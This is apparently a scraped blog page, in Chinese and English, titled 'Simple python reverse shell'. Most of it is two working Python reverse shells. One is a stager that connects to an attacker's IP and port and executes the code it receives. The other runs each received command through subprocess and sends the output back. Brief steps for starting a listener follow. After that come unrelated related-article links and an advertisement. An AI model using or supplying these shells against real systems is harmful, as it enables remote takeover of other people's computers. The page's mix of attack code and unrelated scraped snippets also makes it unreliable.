import base64,sys;
import socket,struct
s=socket.socket(2,socket.SOCK_STREAM)
s.connect(('Attack's IP address',ListenerPort))
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(l)
while len(d)<l:
d+=s.recv(l-len(d))
exec(d,{'s':s})

You can change the IP/DNS and listener port what you want.
Let's test it!

Start a listener:

Execute the shell:

I also found a reverse shell on the Intetnet.

#!/usr/bin/python
# imports here
import socket,subprocess
HOST = 'Attack's IP adress'
PORT = ListenerPort
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send('[*] Connection Established!')
while 1:
data = s.recv(1024)
if data == "quit": break
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdout_value = proc.stdout.read() + proc.stderr.read()
s.send(stdout_value)
s.close()

But this one can not listen by meterpreter

We can use the netcat to get a shell.

Simple python reverse shell的更多相关文章

  1. 46 Simple Python Exercises (前20道题)

    46 Simple Python Exercises This is version 0.45 of a collection of simple Python exercises construct ...

  2. 46 Simple Python Exercises-Very simple exercises

    46 Simple Python Exercises-Very simple exercises 4.Write a function that takes a character (i.e. a s ...

  3. Reverse Shell Cheat Sheet

    Reverse Shell Cheat Sheet If you're lucky enough to find a command execution vulnerability during a ...

  4. MyBB \inc\class_core.php <= 1.8.2 unset_globals() Function Bypass and Remote Code Execution(Reverse Shell Exploit) Vulnerability

    catalogue . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 MyBB's unset_globals() function ca ...

  5. python 调用 shell 命令方法

    python调用shell命令方法 1.os.system(cmd) 缺点:不能获取返回值 2.os.popen(cmd) 要得到命令的输出内容,只需再调用下read()或readlines()等   ...

  6. 【转】为eclipse安装python、shell开发环境和SVN插件

    原文网址:http://www.crazyant.net/1185.html eclipse是一个非常好用的IDE,通常来说我们都用eclipse来开发JAVA程序,为了让开发python.shell ...

  7. python执行shell获取硬件参数写入mysql

    最近要获取服务器各种参数,包括cpu.内存.磁盘.型号等信息.试用了Hyperic HQ.Nagios和Snmp,它们功能都挺强大的,但是于需求不是太符,亦或者太heavy. 于是乎想到用python ...

  8. python调用shell, shell 引用python

    python 调用 shell get_line_num="wc -l as_uniq_info | awk '{print $1}'" ###get the lines of & ...

  9. python 调用shell命令三种方法

    #!/usr/bin/python是告诉操作系统执行这个脚本的时候,调用/usr/bin下的python解释器: #!/usr/bin/env python这种用法是为了防止操作系统用户没有将pyth ...

随机推荐

  1. 果园种植系统开发App,游戏+商业模式?

    果园种植全返系统开发,英伦果园开发,微信果园种植系统开发,百果生态乐园开发,淘金农夫开发,农场果园种植游戏系统,果园种植APP系统开发,果园种植软件开发找陈牧150-1315-1740(微/电)开发者 ...

  2. 各种Python小玩意收集

    快速排序 quicksort = lambda lst: [] if not lst else quicksort([i for i in lst[1:] if i <= lst[0]]) + ...

  3. find指令

    1.命令格式 find path -options [-print -exec -ok ...] 2.命令功能 查找文件,并作出相应处理 3.命令参数

  4. FZU 2088 最长队名

    Problem 2088 最长队名  Problem Description Jack所在的班级决定组团报名参加FZU校赛.为了体现班级的团结和睦,班长决定用班级所有人的名字连起来组成一个史上最长最醒 ...

  5. git submodule相关操作

    $ cd 项目目录 // 初始化 $ git init $ git submodule add https://github.com/XXXX // 普通更新 $ git submodule upda ...

  6. js导航栏样式变换

    <script type="text/javascript"> $(function(){ var lis = $(".submenu").chil ...

  7. linux标准输入输出2>&1

    linux中有三种标准输入输出,分别是STDIN,STDOUT,STDERR,对应的数字是0,1,2.     STDIN是标准输入,默认从键盘读取信息:STDOUT是标准输出,默认将输出结果输出至终 ...

  8. 使用 Git 报错 error: src refspec master matches more than one.

    今天在使用 Git push 代码时遇到一个报错: error: src refspec master matches more than one. error: failed to push som ...

  9. C#里面Auotpostback回刷时候,textbox里面的password怎么保存

    刷新页面时,如何保留页面上的PassWord模式下的TextBox的值? this.txtUserPwd.Attributes["value"] = txtUserPwd.Text ...

  10. Java 序列化 序列化与单例模式 [ 转载 ]

    Java 序列化 序列化与单例模式 [ 转载 ] @author Hollis 本文将通过实例+阅读Java源码的方式介绍序列化是如何破坏单例模式的,以及如何避免序列化对单例的破坏. 单例模式,是设计 ...